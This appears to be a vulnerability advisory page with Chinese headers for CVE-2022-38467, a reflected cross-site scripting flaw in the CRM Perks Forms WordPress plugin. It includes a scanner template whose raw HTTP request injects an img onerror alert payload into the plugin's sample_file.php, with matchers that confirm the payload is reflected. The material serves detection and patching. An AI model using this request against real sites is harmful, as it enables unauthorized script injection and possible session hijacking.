CVE-2022-38467: CRM Perks Forms < 1.1.1 - Cross Site Scripting

日期: 2025-08-01 | 影响软件: CRM Perks Forms | POC: 已公开

漏洞描述

The plugin does not sanitise and escape some parameters from a sample file before outputting them back in the page, leading to Reflected Cross-Site Scripting

PoC代码[已公开]

id: CVE-2022-38467

info:
  name: CRM Perks Forms < 1.1.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape some parameters from a sample file before outputting them back in the page, leading to Reflected Cross-Site Scripting
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 1.1.1
  reference:
    - https://wpscan.com/vulnerability/4b128c9c-366e-46af-9dd2-e3a9624e3a53
    - https://wordpress.org/plugins/crm-perks-forms/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38467
    - https://patchstack.com/database/vulnerability/crm-perks-forms/wordpress-crm-perks-forms-plugin-1-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38467
    cwe-id: CWE-79
    epss-score: 0.10541
    epss-percentile: 0.92982
    cpe: cpe:2.3:a:crmperks:crm_perks_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: crmperks
    product: crm_perks_forms
    framework: wordpress
  tags: cve2022,cve,crm-perks-forms,wpscan,wordpress,wp,wp-plugin,xss,crmperks

http:
  - raw:
      - |
        GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=<img%20src%20onerror=alert(document.domain)>&LastName=<img%20src%20onerror=alert(document.domain)>&%20Company=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_1, "CRM Perks Forms") && contains(body_2, "<img src onerror=alert(document.domain)>")'
        condition: and
# digest: 4b0a00483046022100f9647b3d95c7d3d56cf7e28d6969a99bcaa436649c5888aa9ad9c80cbe3f0b70022100b1c4e93a21be73f40f2fabee8d26a85e917f9c838bedd1815baa68b329f37daf:922c64590222798bb761d5b6d8e72950